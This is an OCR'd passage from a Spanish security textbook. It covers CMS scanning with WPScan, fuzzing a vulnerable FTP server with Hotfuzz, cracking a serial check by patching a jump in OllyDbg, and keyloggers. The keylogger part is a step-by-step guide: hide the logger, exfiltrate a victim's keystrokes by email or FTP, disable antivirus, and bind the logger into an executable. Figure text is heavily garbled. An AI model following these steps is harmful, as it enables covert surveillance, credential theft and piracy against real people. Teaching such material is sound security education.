colaborativo de contenidos y conocimiento donde, sin duda alguna, el
ejemplo mas conocido es Wikipedia. En esta categoria uno de los mas
utiliados en MediaWiki.

e-learning. Son plataformas para contenidos de ensefianza on line o
sistemas de gestion del aprendizaje (Learning Management Systems o
LMS). Logran facilitar la interaccion entre profesorado y alumnado,
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gestionar contenidos académicos, seguir y evaluar a los estudiantes, etc.
El gestor de contenido mas importante de e-learning es Moodle.

e e-commerce. Se trata de plataformas que incluyen gestion de usuarios,
catalogo, compras, gestion de pagos, etc. Se pueden destacar los gestores
Zen Cart o Open Cart.

e  Groupware (Software colaborativo). Permite integrar el trabajo en un
unico proyecto llevado a cabo por un niimero de usuarios concurrentes.
Incluye herramientas de comunicacion y de conferencia (chat, video,
correo), aunque quizas lo mas importante sea el soporte a la gestion de
proyectos (documentacion, control de versiones...), los sistemas de
control del flujo de la actividad y de gestion del conocimiento. Destacan
los sistemas Subversion, Webcollab, Collabtibe o Tine.

e Publicaciones digitales (Drupal), difusion de contenido multimedia
(Galerias de imagenes...).

A la hora de analizar la seguridad de un gestor de contenidos, es necesario
poder determinar la version exacta desplegada asi como los las versiones de los
pluguins o temas de terceros instalados. Existen diversas herramientas
desarrolladas especificamente para cada gestor de contenidos que permiten realizar
esta tarea.

Una vez detectados las versiones es necesario consultar bases de datos en
busqueda de los exploits. Entre las web mas utilizadas destacan:

o hitp://www.phpbbexploit.com/

o http://www.joomlaexploit.com/

e http://www.wordpressexploit.com/
e http://www.drupalexploit.com/

o ttp://www.typo3exploit.com/

e hitp://www.magentoexploit.com/

o hitp://www.virtuemartexploit.com/
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Para realizar el andlisis, es importante destacar el complemento para
Firefox Wappalyzer (https://addons.mozilla.org/es/firefox/addon/wappalyzer/) que
permite obtener la tecnologia con la que se ha desarrollado una pagina. En la figura
5.32 puede ver un ejemplo de su uso.

acsiuales N\ 6 i <-

= Wappalyzer
UNIVERSIDAD DE ALMERIA N Apache 2217
Servidor Web

Méster en Administraw y Fedora
- e r——————

Sistema Operativo

#E PHP5.3.6

Lengusje de programacion

Figura 5.32. wappalyzer

Existen herramientas especificas para cada gestor de contenidos. Por
ejemplo, para WordPress se utiliza WPScan y para Joomla se utliza JoomlaScan. A
continuacion y a modo de ejemplo se muestra el uso de WPScan.

WPScan viene preinstalado en muchas distribuciones (BackBox Linux, Kali
Linux, Pentoo, SamuraiWTF), pero en ocasiones la version es antigua por lo que se
recomienda su instalacion. Los prerrequisitos para su instalacion son:

e Instalacion en Ubuntu

# apt-get install libcurl4-gnutls-dev libopenssl-ruby libxml2
libxml2-dev libxsltl-dev ruby-dev

# git clone https://github.com/wpscanteam/wpscan.git

# cd wpscan

# gem install bundler && bundle install --without test
development

e Instalacion en Fedora

# yum install gcc ruby-devel libxml2 libxml2-devel libxslt
libxslt-devel libcurl-devel

# git clone https://github.com/wpscanteam/wpscan.git

# cd wpscan

# gem install bundler && bundle install --without test
development
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program can# ruby wpscan.rb --help

\
[
rity Scanner by the WPScan Team
sion v rcf1f676
Sponsored by the RandomStorm Open Source Initiative
@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @ _FireFart_

Figura 5.33. WPScan

Las principales opciones que permite WPScan son:

Descubre version instalada de Wordpress con una precision muy alta.

e Enumera plugins, temas y usuarios de la aplicacion Wordpress
analizada.

e Contiene una base de datos de pl/ugin vulnerables, la aplicacion indica si
alguno de los plugin detectados existe alguna version vulnerable. A
priori no sabremos que version del plugin esta instalada.

e Fuerza bruta del panel de /ogin, utilizando los usuarios enumerados. Por
lo general la enumeracion de usuarios siempre es posible a no ser que se
realizasen tareas especificas para que esto no suceda.

e La aplicacion puede actualizarse.
Un ejemplo basico de su uso seria:

Ruby wpscan.rb --url https://www.webvulnerable.com -enumerate
Con la linea anterior indicamos a la aplicacién que examine el CMS

Wordpress desplegado en www.webvulnerable.com y que queremos que enumere
usuarios, plugins y temas instalados.
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5.8.1 Contramedidas

Las contramedidas propuestas para mitigar los posibles fallos de seguridad
son:

e Mantener siempre actualizado el gestor de contenidos.

e Mantener Siempre actualizados los plugins, addons y componenetes de
etrceros que hayamos instalado.

Instalar medidas de seguridad especificas mediante el uso de componenetes
de terceros. Existen multiples soluciones para casi todos los gestores de contenidos.
Tanto a nivel de proteccion contra ataques como conocidos, como el uso de
captchas y politicas de contrasefias seguras.



Capitulo 6

HACKING DE APLICACIONES

6.1 INTRODUCCION

Hoy en dia las palabras hackers, virus, bugs son mencionadas en las
noticias de todo el mundo, creando debates, leyes, controversia y mucho
desconocimiento. Hay defensores del software libre, también hay empresas y
asociaciones que defienden derechos de autor, asi como también hay auténticas
mafias “cibernéticas” muy especializadas en aprovechar todos los recursos de la
informética para llevar a cabo sus fines delictivos.

La pirateria se produce como consecuencia de hackers capaces de romper
los caros disefios de proteccion en el software comercial, asi como de los soportes
multimedia de los que se dispone hoy en dia.

Qué duda cabe de la evolucion que los virus han sufrido a lo largo de los
afios, empezaron siendo bromas macabras capaces de destruir o incapacitar
nuestros sistemas operativos y datos, y hoy en dia con los troyanos de nueva
generacion (que aprovechan técnicas phishing), gusanos, etc., son la mejor
herramienta de trabajo para ciberdelincuentes que roban informacion privada. Es
evidente que las empresas que desarrollan antivirus no son capaces de solventar un
problema creciente y al que como unica reaccion usan la paranoia tratando como
posible virus casi cualquier cosa.
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Los bugs son fallos de programacion que afectan a la seguridad de la
aplicacion, y que se convierten, por tanto, en una vulnerabilidad que podra ser
usada por los atacantes para desarrollar exploits que acaben por proporcionar,
shells remotas, DoS, etc.

Como siempre, todo este contenido serd expuesto tinicamente con el tinico
fin de que el lector sea capaz de desarrollar aplicaciones de forma segura y
profesional, teniendo en cuenta que no son los conocimientos lo que convierten a
un informatico en un hacker, sino su propia ética.

6.2 HOTFUZZ

Fuzzer es una técnica que genera datos aleatorios (o pseudo-aleatorios) y
analiza la respuesta de una aplicaciébn o servicio mediante un sistema que
determine si son validas o no (normalmente llamado: oraculo), para encontrar
posibles fallos.

Hotfuzz (http://hotfuzz.sourceforge.net/) es una herramienta que permite
realizar un ataque Man in the middle para enviar datos aleatorios a un servicio y
comprobar su funcionamiento. Es una herramienta gréfica que permite “entender”
el protocolo del servicio y genera un archivo xml con los pruebas realizadas. Y en
el caso de encontrar un error en el servicio, reporta toda la informacion asociada a
dicho error.

Hotfuzz es una herramien fécil y flexible, ideal para tareas de Fuzzing que
permite trabajar sobre multiples protocolos conocidos como FTP, HTTP, etc.

Para explicar el funcionamiento de Hotfuzz se va a realizar una prueba de
funcionamiento con el servidor FTP PCMAN’s FTP Server 2.0.7 que presenta la
siguiente vulnerabilidad PCMan's FTP Server 2.0.7 Buffer Overflow Exploit
(http://www.exploit-db.com/exploits/26471/).

Una vez descargado el servidor FTP de la web (http://www.exploit-
db.com/exploits/26471/ - véase la figura 6.1), descomprima el fichero y ejecute la
aplicacion PCManFTPD2.exe para iniciar el servidor FTP.
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€ B @ vwww.eploit-do.com/exple

PCMan's FTP Server 2.0.7 - Buffer Overflow Exploit

EDB-ID: 26471 CVE: 2013-4730 OSVDB-ID: 94624

Author: Jacob Holcomb Published: 2013-06-27 Verified: ¥ Rating
Overall: (0.0)
ExploitCode: [  Vulnerable App: [

Previous Exploit Home | Next Exploit

| #!/use/binfeny python

import signal

from time import sleep

from socket import *

from sys import exit, exc_info

June 2013

ered/Exploited B)
xploit/Advisor:
oftware® x>

http://infosec2.blogspot .con/

PCMan FTP Server v2.0.7 (Listens on TCP/21)

*USER (Other commands were not tested and may be vulnerable)
**PCHan FTP Server v2.0.7 Buffer Overflow: Pending

Figura 6.1. PCMan’s FTP Server 2.0.7

PCHan FTP Server v2.8.7 Remote Root Shell Exploit - USER Command

Jacob Holcomb/Gimppy, Security Analyst @ Independent Security Evaluators

A continuacion, descargue y ejecute la aplicacion HotFuzz (véase la figura
6.2). En la pestaia Recording se muestran los campos necesarios para configurar la
herramienta, para que analice de forma automatica el servicio a analizar y que

genere un fichero xm/ con los resultados.

=loix)
Rocordng | ruzsngsetns | Fuzzna | oune ews: |
Clert. Server FBecordng.
PR I | o T |
o [ o rogan | o | |
etwation [ Browse Symbels [ Browso Protocolfandy @ TP € UoP
S P Raatimt 7 Dt e
s 0 127001 port [5o01 = | gt [1z50.1 pot [owoz = |
stant stop Cear 7 Enatle start s Cear P enbe | st sop pase e
i M _sos | _soa | _owa | rsstyean

4

Figura 6.2. HotfuzzGUI
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Para comprender mejor el funcionamiento de la aplicacion HotFuzz se van
a realizar los pasos siguiendo el escenario planteado.

e Pestaiia Recording. Hay que tener en cuenta que hay dos secciones: el
cliente y el servidor (véase la figura 6.3).

e Cliente. En esta seccion se le indica a Hotfizz la aplicacion cliente con
la que se conecta al servidor FTP. En este caso se va a utilizar Filezilla,
aunque puede usarse cualquier cliente FTP. También se indican la
direccion IP y el puerto que el cliente tiene que utilizar para conectarse
al servidor. Este punto es muy importante, ya que Hotfuzz utiliza un
proxy intermedio. De este modo, las configuracion queda de la siguiente
forma:

—  ProxyIP: 127.0.0.1

— Port: 5150 (El puerto debe ser cualquier puerto que no tengamos
utilizandose que esté por encima de los primeros 1024).

— Program: C:/FileZilla FTP Client/filezilla.exe
fip://Anonymous:@localhost:5150. Se le indica al cliente FTP
Filezilla que se conecte con el usuario Anonymous a la direccion
localhost por el puerto 5150.

e Servidor. En esta seccion es donde se indica la direccion IP, puerto y
programa a “fuzear”, en este caso se indica la IP local por el puerto del
servidor FTP 21 y la ruta al archivo ejecutable del servidor FTP. De este
modo, las configuraciones quedan de la siguiente forma:

—  TargetIP: 127.0.0.1
— Port: 2/

— Program: C: /9fceb6fefd0f3cala8c36e97b6cc925d-PCMan/
PCManFTPD2.exe

Recording | Fuzzing settings | Fuzzing | Dump viewer |

Client Server
Proxy P [127.0.0.1 Port [s150 H || Target 1P [127.0.0.1 port [21 - |

Program | | ftp://Anonymous:@localhost:5150 Browse I Program |Lemsccgzsd-Pcwun;pcmwrpozexe Browse
Activation Browse Symbols Browse
Symbols Browse

Figura 6.3. HotfuzzGUI - Configurados los pardametros iniciales




© RA-MA CAPITULO 6. HACKING DE APLICACIONES 187

Una vez indicados los parametros de conexion, en la zona inferior puede
ver los botones de accion que permiten iniciar, parar o limpiar los datos del
proceso (véase la figura 6.4).

Process: StartonCall, starting process!
Agent: onShutdown()
Agent: onShutdown() _StopDebuager()
~ ~
AgentIP [127.0.0.1 port [o001 = ||| Agent P [127.0.0.1 Port [o002 =
Start | Stop Clear | ¥ Enable Start I Stop Clear | ¥ Enable

Figura 6.4. HotfuzzGUI - Controles

Como puede ver en la figura 6.4, tanto en el cliente como en el servidor se
hace referencia al Agent IP y al puerto que utiliza. Se trata del agente de
monitorizacion que se levanta para Peach. Los agentes son procesos
especiales de Peach que se pueden utilizar de forma local o remota. Estos
procesos albergan uno o mas monitores que permite realizar acciones tales
como utilizar debuguers, ver corrupciones de memoria, etc. Puede decirse
que utiliza los sistemas necesarios para detectar los comportamientos
anomalos del servicio. Si desea més informacion sobre la aplicacion Peach
puese consultar el siguiente enlace:  http://peachfuzzer.com/v2/
peach23.html

Ahora se va a configurar la seccion Record (véase la figura 6.5) en la que
es necesario indicar los siguientes parametros:

— Iteration Count. Numero de pruebas de conexion que se va a
realizar con el cliente utilizando los pardametros indicados.

— Protocol Port. Indique el puerto del protocolo a analizar, en este
caso es el 21 al estar analizando un FTP.

—  Protocol Familly. TCP o UDP.

— Restart Client. En el caso de que se requiera reiniciar el cliente en
cada peticion.

— Disable Cliente Debugger. En el caso de que no necesitemos
analizar posibles crash en el cliente.

— Proxy Tiemout. El timeout establecido para las conexiones con el
Servicio.
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Figura 6.5. HotfuzzGUI - Recording

A continuacion, pulse el boton Start All para iniciar el proceso de andlisis
(véase la figura 6.6).

N L-TET]
e
[ s 1 s 1 o |
Py [1zm001 st [eis0 1| toom e [1z2001 e = = o W o |
Program [ Rpjfancmymous:phocahor:s150 _ Bromse || Program [esbeccizse pOmnPCHarF POz oxe __ Browse. rotocolpart [21
sctvatn [ s || sy [ o || Aotocsitoony @1 C e
Symbos Browss. 7 Restatdert 17 Disable chent cebugger
= G 21| e 3]
e — = g™ 2| P B
st antsried) Pt (150t o Dot
Agent: detectFauk() ) Test: MotTest” (None)
: Sending detectFaul resuk [Faise]  Agent: onfestStarteg()
Agent: stopRun() | Waiing for part to open.. (1] TestCase
Agent: onTestStartng() _DboEventrandier,ExtProcess: Target apphcation has extted.
Agent:. (2] TestCase
v etoncat g rocest sguns anrosehadd)
Agent: anlestFriched() | Agent: detectfaul() (3] TestCase
o
g ettty oms: Senin daecsa ek [Fb])
Agont: Sending detoctFauk resuk (Faise] Agent: 2 (4] TestCase
oy en: amtsiratot)
o ot atogd ko o et 5.
(s1 e
s anpblshrcol) P ——
e etoncal o pocest g rcadod o to conipastionti...
sgunts cnsudonn)
Agent: onShutdown() | _StopDebugger()
[']  Test "HotTest” completod
= = [*] Run "DefaukRun” completed
L [ — T o — T <
St Sop. Cleyr P Enable. St Sop. Clear P ensbie St Stop. Pause. Clear.
ARERRRRRNNARRNRAN NRRRNR AR RN RN RN RR R RRRARRN
4

Figura 6.6. HotfuzzGUI - Start All
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Pestaiia Fuzzing Settings. Se muestran todos los modelos de datos
creados a partir de la primera fase. Puede encontrar todos los métodos
que utiliza el protocolo y seleccionar los campos a analizar marcandolos
como frue en la columna Mutate (véase la figura 6.7).

o e

s o
e Thsonnon [oaront | Toee [P
= e S e
s
e HotFuzzDataModel 0 T "Jh- resporse_cods g folse 20
cutpt = - DaaHodeEleent | By, false
JH— Py gy
oGt s s —
ST [ pd
i Dvcimomns S e o
- frertion i 3 s
ot e e R e
[ Dk -
s et e
e [rec S e
o et i [
[N— Dt S £ e
osmt S arauan |
[ s
- Bz
[— o ramit o Sivg e
it
JrEN— e Ei o oo
ot
Vst 10 S e s
e HotFuzzDataodel 11 BH2
™ o e sds sy P
S— = S -4
o s
[ — ottty faise e
et Svchns vy fro
- [t (=S
o Dok s o fos
[—— Gk s v e
e e
> N e S o El
u e e

Figura 6.7. HotfuzzGUI - Seleccionando métodos

En este caso “fuzearemos” el campo User. Recuerde que se le ha
indicado al cliente FTP que se conecte con el usuario 4nonymous por lo
que de esta forma se generan valores aleatorios cuando el usuario intente
conectarse.

Seguidamente pulse el boton Hide Mutators para que se desplieguen las
opciones de los mutadores. Como puede ver en la figura 6.8, seleccione
String, ya que es el tipo de datos a enviar en las diferentes mutaciones.

e = [T

atons sl

q
H
E

S Titin e Jowerost |
e

FEEREEEEEEE
¥

£
?}’g

FEEEEEEH
000000
FERE

[ —

Figura 6.8. HotfuzzGUI - Seleccionando mutador
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e Pestaiia Fuzzing. En este punto ya solo es necesario pulsar el boton
Start All para iniciar el proceso de fizzing.

Cuando la aplicacion detecta un error en el servidor se muestra la
informacion en la ventana del /og (véase la figura 6.9).

Peach
a Strategy ¢ Single random ¢ Random
| seed I™ [izae = Tteration [1 :

[V Restartclient [V Disable client debugger

[39] TestCase

Element: ftp.hf_2.ftp_request_arg

Mutator: StringMutator

Value:

ABBAAABAAAAALARAAALAARAALAAAAAALABAAALAALL
ABA ABABAABAABAAAA AARAAAA,

ARBAARAAARAAAALA

... (length was 3048)

The stopping action was not recognized
-- Detected fault, getting data --

BucketInfo:
EXPLOITABLE\ReadAVonIP|0x264d517210x00000000

[40] TestCase

Element: ftp.hf_2.ftp_request_arg
Mutator: StringMutator

J Value: 32779

v

Figura 6.9. HotfuzzGUI - Detectado punto de ruptura

Com puede ver en /og de la figura 6.9, se ha producido un error en el
intento 39 cuando ha mandado como nombre de usuarios un string de
3048 letras A. Finalmente, indica que se trata de un crash explotable.

e Pestaiia Dump Viewer. Se van guardando los puntos de ruptura
(crashes) que se van detectando en el servidor (véase la figura 6.10).

72 - v1.2.0 - New Project (C/HotFuzz  examples/projects) prucbas/priebas /pcmanftp)®
Fio Edt Heb

Recordog | Fuzzing setiogs | Fuzzing | Dumpvisver |

s [oosrpin_[rugan

SST=TE|

[escionstion |

| = T

Figura 6.10. HotfuzzGUI - Dump Viewer
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Resumiendo, se ha detectado una vulnerablidad explotable del servidor
FTP que se produce cuando se envia una cadena de 3048 caracteres. En definitiva,
podemos concluir que Aotfuzz es una herramienta muy util, que agiliza la tarea de
fuzzing para protocolos conocidos.

6.3 CRACK

La mayoria de los sistemas de validacion se basan en introducir un numero
de serie correcto. A la hora de introducir el nimero de serie, dentro del programa
se realiza una pequefia comprobacion y si es correcto activa el programa (CHICO
BUENO) y si no es correcto entonces te muestra que el numero de serie es
incorrecto (CHICO MALO).

Sintetizando mucho, para saltar la proteccion de un programa tan solo hay
que localizar la zona donde el sistema realiza la comprobacion e indicar que
siempre (sea o no sea correcto el nimero de serie) se vaya a la zona de activacion
(CHICO BUENO).

Para poder analizar y modificar el programa se va a utilizar el editor
hexadecimal OllyDB.

Para ver un ejemplo se va a utilizar el programa Crackme. El programa
Crackme esta protegido mediante un numero de serie. Si introduce el numero
correcto se registra. Y si el numero de serie no es correcto le indica que no ha
tenido suerte.

Para activar el programa ejecutamos Crackme, vaya a HELP y luego a
ENTER PASSWORD. Introduzca el nimero de serie y luego pulse OK. Como no
conoce el numero de serie, el programa muestra el mensaje “NO LUCK THERE,
MATE!”. Este mensaje es una pista de por donde puede buscar.

Paso 1. Buscar con el ollydb las STRING REFERENCES

Abra el programa Crackme con el ollydb (véase la figura 6.11). Seleccione
el boton que busca cadenas y localice el mensaje de error “NO LUCK THERE,
MATE?”. Para ello pulse el boton derecho sobre la ventana y seleccionando: Search
for all referenced string.
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OllyDbg - CRACKME.EXE - [Text strings referenced in CRACKME:CODE]

H

op4n2

57T B8 datese), concyre. sasae

080 PTR C3: (1020841, CRAGHHE. Gados|
ARG obubsoer
8 ERAETE: SSuSEET
Pl e e i
31315 s ERCAE BR1GR1 €
53:8i517 Pist EREUE: ERIGR1S
36101384 i Chicire: caiesiss
9635138 s CRacire: Soassic
83151575 Pl Chiciae: sasaies
330135 Pus CiciTe: eaezics
55351354| Pich it waseaios

Figura 6.11. Olidb - Cargando el programa

Después vuelva a pulsar con el boton derecho y seleccione Follow in
desansemble y aparece la pantalla de la figura 6.12.

OllyDbg, - CRACKME, EXE - [CPU - main thread, module CRACKWE]

Wi >
S 4 =13 2

Figura 6.12. Olidb — Follow in desasemble

Paso 2. Buscar con GOTO el lugar en el que se encuentra la
zona de “CHICO MALO”

A continuacion busque con GOTO el lugar en el que se encuentra la zona

de “CHICO MALO”, porque muy cerca debe encontrarse la zona de “CICHO
BUENO”.
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Cédigo

00401349 /$6A 00  PUSHO :/BeepType = MB_OK

0040134B |. E8 96000000 CALL <JMP.&USER32.MessageBeep>;
\MessageBeep

00401350 |. 6A 30 PUSH 30 ; /Style =
MB_OK|MB_ICONEXCLAMATION/MB_APPLMODAL

00401352 |. 68 60214000 PUSH CRACKME2.00402160 ; |Title = "No luck!"
t=""No luck

there, mate!"
0040135C |. FF7508 PUSH DWORD PTR SS:[EBP+8] ; [hOwner

0040135F |. E8 A6000000 CALL <JMP.&USER32.MessageBoxA> ;
\MessageBoxA

00401364 \.C3 RETN

En el codigo anterior puede ver resaltado el texto, y un poco mas arriba el
PUSH 0 que introduce las funciones en la pila. Si se sitGia sobre push 0, pulse el
botoén izquierdo y vaya a Goto, nos lleva a la siguiente situacion:

OllyDbg - CRACKME.EXE - [CPU - main thread, module CRACKME]
Fie Vew Debug Phons Options Windw e
] ] e e R R 5]
‘obien P s espeten. o2
? B Sl

e

Ed
il
BB oo e sy
B P,
Bl
B 85! e somis
& E
i ol PR —
L M o
i fmramn e L et o st oer
R
& eRlni .. -
&
o —
e
PUSH 33 = * howine_sepLrooac
AR e sounis = .
RE B
R R, Sy ;
RO, | - :
Bl sy oem0 # s e - =
L ettt i '
T . st o N
i . = : gu
.1 Httrace 4
| s '
‘
1 Neworgnbere  ChrleGray *

ongn N 2
Follow in Dump. ¥ Previous Minus s
| vewatves  cmx Expression QG 26

Searchfor

Frd refeencesto
vew

Copy to executatle
Analysis

Frevious procedure  CerbaMinws:
Nedtprocedas  Curleflus

Previous refecence  AR+F7
Nextroforsnce  AR+FE

EEFEEREESS

lss:

Bookmark

Figura 6.13. Olidb - Modificando el programa
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Paso 3. Localizar las comparaciones y los saltos a las zonas
“CHICO MALO” y “CHICO BUENO”

Lo primero que debe hacer es localizar las comparaciones y los saltos a las
zonas “CHICO MALO” y “CHICO BUENO”. Descubrir cual es cual. A
continuacion verifique el salto a la zona “CHICO BUENO”. Y por ultimo,
anotamos los niimeros hexadecimales que nos llevan a las dos zonas.

Esta orden nos estd diciendo que el mensaje de “NO LUCK THERE,
MATE!” tiene una llamada en 00401243. Si esta el salto que nos lleva a la zona de
“CHICO MALO” no debe de estar muy lejos el que lleva a la zona de “CHICO
BUENO”.

Codigo

00401237 . E87C010000 CALL CRACKME2.004013B8
0040123C .83C4 04 ADD ESP. 4

0040123F . 84C9 TEST CL,CL

00401241 .7407 JE SHORT CRACKME2.0040124A
00401243 .E8 01010000 CALL CRACKME2.00401349
00401248 .~EB9C JMP SHORT CRACKME2.004011E6
0040124A > E8 E5000000 CALL CRACKME2.00401334
0040124F .~EB 95 JMP SHORT CRACKME2.004011E6

Las sentencias resaltadas en negrita son las que nos interesan. Si se fija
bien, vera que el programa comprueba el nimero que ha introducido; si coincide va
a 00401248 y si no coincide le lleva a 0040124A. Es decir, 0040124A es la zona de
“CHICO MALO”, mientras que 00401248 es la zona de “CHICO BUENO”.

El objetivo es que independientemente del nimero que se introduzca el
programa vaya siempre a la zona “CHICO BUENO”. ;Cémo se hace eso?
Alterando algunos bytes para caer siempre en la zona de registro.

Paso 4. Modificar con el ollydb los niimeros hexadecimales

Para modificar con Ollydb los numeros hexadecimales que nos lleven a
registrar el programa hay que cambiar el valor el 74 por EB para que el programa
funcione con cualquier niimero de serie que introduzca.
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Para ello hay que situarse sobre la linea, pulsar con el boton derecho y
después a Edit y a Binari. Ya solo falta modificar el valor 74 07 por EB 07

Una vez modificado para comprobar el correcto funcionamiento pulse Run.

OllyDbg, - CRACKME.EXE - [CPU - main thread, module CRACKME]
G Fie Vew Debug Phgns Options window Help

Figura 6.14. Olidb - Modificando los valores

6.4 KEYLOGGERS

Los keylogger son dispositivos o aplicaciones que registran todas las
pulsaciones de teclas para que mas tarde el atacante pueda obtener datos
confidenciales de la victima como pueden ser las contraseias, codigos de acceso a
cuentas bancarias, conversaciones personales, etc.

Existen dos tipos de keylogger que se diferencian entre si por sus
prestaciones e invisibilidad. Los keylogger hardware son dispositivos fisicos que
se conectan entre el teclado y el ordenador del cliente para registrar todas las
pulsaciones del teclado. Y los keylogger sofiware permiten més prestaciones que a
nivel hardware ya que pueden capturar las pantallas, ver las paginas web del
usuario, etc.

A continuacion se van a ver cada uno de los tipos de keylogger.
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6.4.1 KeyLoggers hardware (keyghost)

Como puede ver en la figura 6.15, un keyloger es un dispositivo fisico que
se conecta entre el teclado y el ordenador del cliente. Internamente el dispositivo
esta formado por un pequefio procesador y una memoria EEPROM de hasta 4MB
donde se guardan las pulsaciones del teclado.

Existen diferentes tipos de keylogger dependiendo del tipo de conexion
(AT, PS2 y USB), del tamaiio de su memoria (que oscila desde los 128Kb hasta los
4Mb). Ademas, también existe la posibilidad de comprar el dispositivo para
instalarlo de forma interna en un teclado o incluso comprar directamente el teclado
con el keylogger.

La ventaja de estos dispositivos es que son totalmente transparentes a nivel
software ya que no es necesario instalar en el equipo ningun tipo de software. Pero

su gran desventaja es que para poder utilizarlos necesita tener acceso fisico al
equipo de la victima para instalar el dispositivo y para quitarlo.

EEPROM microprocessor
memory \ /
computer l I l keyboard

PS/2 connector * PS/2 connector

electronic switch

Figura 6.15. Keylogger hardware

Una vez utilizado el keylogger, para obtener la informacion que
contiene su memoria EEPROM debe conectar el dispositivo en su equipo y escribir
en un editor de texto la palabra clave de acceso que por defecto es “menu”. Al
escribir la palabra clave aparece un menu de texto que nos muestra las diferentes
acciones que podemos realizar (véase la figura 6.16). Las opciones més frecuentes
que se suelen realizar son: mostrar el estado de la memoria y limpiar el contenido
de la memoria.
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Figura 6.16. Menii del Keyghost

6.4.2 KeyLoggers software (perfect Keylogger)

Existen muchos keyloggers sofiware que se diferencia entre si por sus
caracteristicas. Los mas basicos permiten solamente la captura de las pulsaciones
del teclado y los mas avanzados registran las paginas web visitadas, realizan
capturas de pantalla, etc.

Una vez instalado el keylogger en el equipo de la victima, este va
registrando la informacion del usuario en un fichero o directorio de registro. Para
poder obtener los ficheros de registros puede copiarlos del ordenador de la victima
o0 programar el troyano para que nos envie los registros por email o FTP.

Como ejemplo de keyloggers se destacan los siguientes:

THC-vlogger (The Hacker Choice viogger). Es un keylogger para
sistemas GNU/Linux basado en el nucleo y permite registrar las
pulsaciones de administradores y usuarios normales en las sesiones de
consola, ssh o telnet. Podemos encontrarlo en la pagina:
http://freeworld.thc.org/.

LKL (Linux Keylogger). Es un keylogger que corre bajo Linux en las
arquitecturas x86. LKL registra todo lo que pasa a través del puerto
(0x60) del teclado. Tras registrarlos traduce los keycodes a ASCII con
un keymap. Podemos encontrarlo en la pagina:
http://sourceforge.net/projects/lkl/
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e Perfect Keylogger. Es un keylogger para sistemas Windows que permite
una gran funcionalidad (registrar pulsaciones, capturas de pantalla,
historial web...).

A continuacion se va a ver Perfect Keylogger por ser uno de los programas
mas completos.

6.4.2.1 INSTALACION
El proceso de instalacion es muy sencillo:

e Descargue Perfect Keylogger de la pagina web ww.blazingtools.com.

e Inicie el proceso de instalacion y aparecera el asistente que le guiarad
durante el mismo (véase la figura 6.17).

e Pulse Siguiente.
e Acepte los términos de la licencia y pulse Siguiente.

e A continuacion, el sistema le solicita el nombre que quiere que tenga el
troyano y pulse Siguiente.

e Especifique el directorio de instalacion y pulse Siguiente.

sewpPogen

Perfect Keylogger 1.6

Powerful and easy to use solution for PC and Internet surveillance

‘Welcome to Setup Program for BlazingTools Perfect Keylogger
Thisprogam i st Prec Keylogoeon s conpuer.

e T,

Sekppiogon
‘WABNING: Ti progam i prteced by oyt b nd ool vaaies.

ent poritieunder .
ik e 1 cotis o he et popan

Figura 6.17. Perfect Keylogger
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Una vez finalizado el proceso de instalacion, aparece el icono
reloj del sistema.

junto al

Si pulsa el boton derecho del raton sobre el icono, aparece un menu
contextual que permite realizar las siguientes acciones:
e View the log. Permite ver el log del sistema.
e Enable logging. Permite activar y desactivar el keylogger.
e Hide program icon. Oculta el icono del programa.
e Options. Permite configurar el keylogger.

e Password. Permite establecer una contrasefia para poder acceder al
keylogger.

e Remote installation. Una vez configurado el keylogger puede infectar
con €l un fichero ejecutable.
A continuacion se veran las opciones mas importantes:

6.4.2.2 LOGS

Tal y como puede ver en la figura 6.18, el visor de logs de la aplicacion es
muy sencillo de utilizar y en €l puede ver todas las pulsaciones que ha realizado la
victima en el sistema.

°° C:\Documents and Settings\usuario\Escritorio\Keyl ogger\Perfect Keylogger OKWerfe... [ |[E1)[8)
psaesnim-  PERFECT

records. Drag the mouse to

eect a range of date. KEYLOGGER
Openlog. End
Save log as. Delete these records.
Hoy: 31/0272014 = s
Show: @ Keystiokes O Chats O Screenshots O Websites Click here to pint the log
[ |
he
£l

Figura 6.18. Perfect Keylogger - Logs
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6.4.2.3 CONFIGURACION

Si desea infectar un fichero con el keylogger es muy importante que antes
lo configure correctamente.

Los elementos de configuracion son:
e General. Permite establecer las opciones de inicio e invisibilidad del
keylogger en el sistema (véase la figura 6.19).

e Logging. Permite establecer los elementos que desea registrar. Puede
registrar texto, chat, paginas web y capturas de pantalla del escritorio.

e Screenshots. Permite establecer el momento en que se van a hacer las
capturas de pantallas y la calidad de las mismas.

Hatkeys

Oiwin i ke

Sondleschack ok Coneel Hep

Figura 6.19. Perfect Keylogger - Configuracion

e Email y FTP. Permite establecer la cuenta de correo electronico y FTP
donde se enviaran los datos del registro. Ademas se pueden especificar
los tipos de datos que se van a enviar (log de texto, chat, web y
screenshot).

También se puede especificar que se envie los datos cada un
determinado tiempo o cuando el fichero tenga un tamafio determinado.

e Alerts. Permite establecer un listado de palabras clave del sistema (por
ejemplo, login). Cuando se detecta una palabra clave de la lista entonces
el sistema enviara inmediatamente los datos registrados por email o FTP.

e Targets. Permite establecer una lista de programas de los que queremos
registrar las pulsaciones de teclado (por ejemplo, Word, Messenger).

e Notification. Muestra un banner al iniciar el keylogger.



© RA-MA CAPITULO 6. HACKING DE APLICACIONES 201

6.4.2.4 INFECTAR UN EJECUTABLE CON EL KEYLOGGER

Una vez configurado correctamente el keylogger, la opcion mas
recomendable es infectar un fichero ejecutable que sera el que se utilizara para
infectar la victima.

Para infectar el ejecutable debe realizar los siguientes pasos:

e Pulse el boton derecho del raton sobre el icono del keylogger que se
encuentra junto al reloj del sistema y seleccione Remote Installation.

e Pulse el boton Siguiente y en la pantalla que aparece establezca las
opciones que desea realizar: instalar o desinstalar el keylogger; indicar el
método de envio de informacion (por email o por FTP); y también puede
indicar que al instalar el keylogger se deshabilite los programas
antispiware, antivirus y cortafuegos. Pulse Siguiente.

e En la siguiente pantalla (véase la figura 6.20) especifique el fichero que
desea infectar y si quiere también puede indicar que el keylogger se
desinstale automaticamente después de un numero de dias determinado.
Pulse Siguiente.

e Por tltimo aparece una ventana que nos indica que el fichero se ha
infectado correctamente y pulsamos Finalizar.

Al finalizar verd que se ha creado un fichero con el nombre
inst_programa.exe'y que el fichero ocupa unos 160 KB mas.

Specify deployment package options

QE‘: Specily the program to combine it with the keylogger:

C:\Documents and Settingshusuario\Escrtoriohcale.exe  (“Browse.. |

Install to the following folder on the remote computer:

Type folder path here or click "Next" to install to “System" folder

[ Automatically uninstall remote keylogger after days of use

To continue, click Next

[canss ][ siguiente> | [ Cancelar | [ Awda |

Figura 6.20. Perfect Keylogger - Infectar un fichero
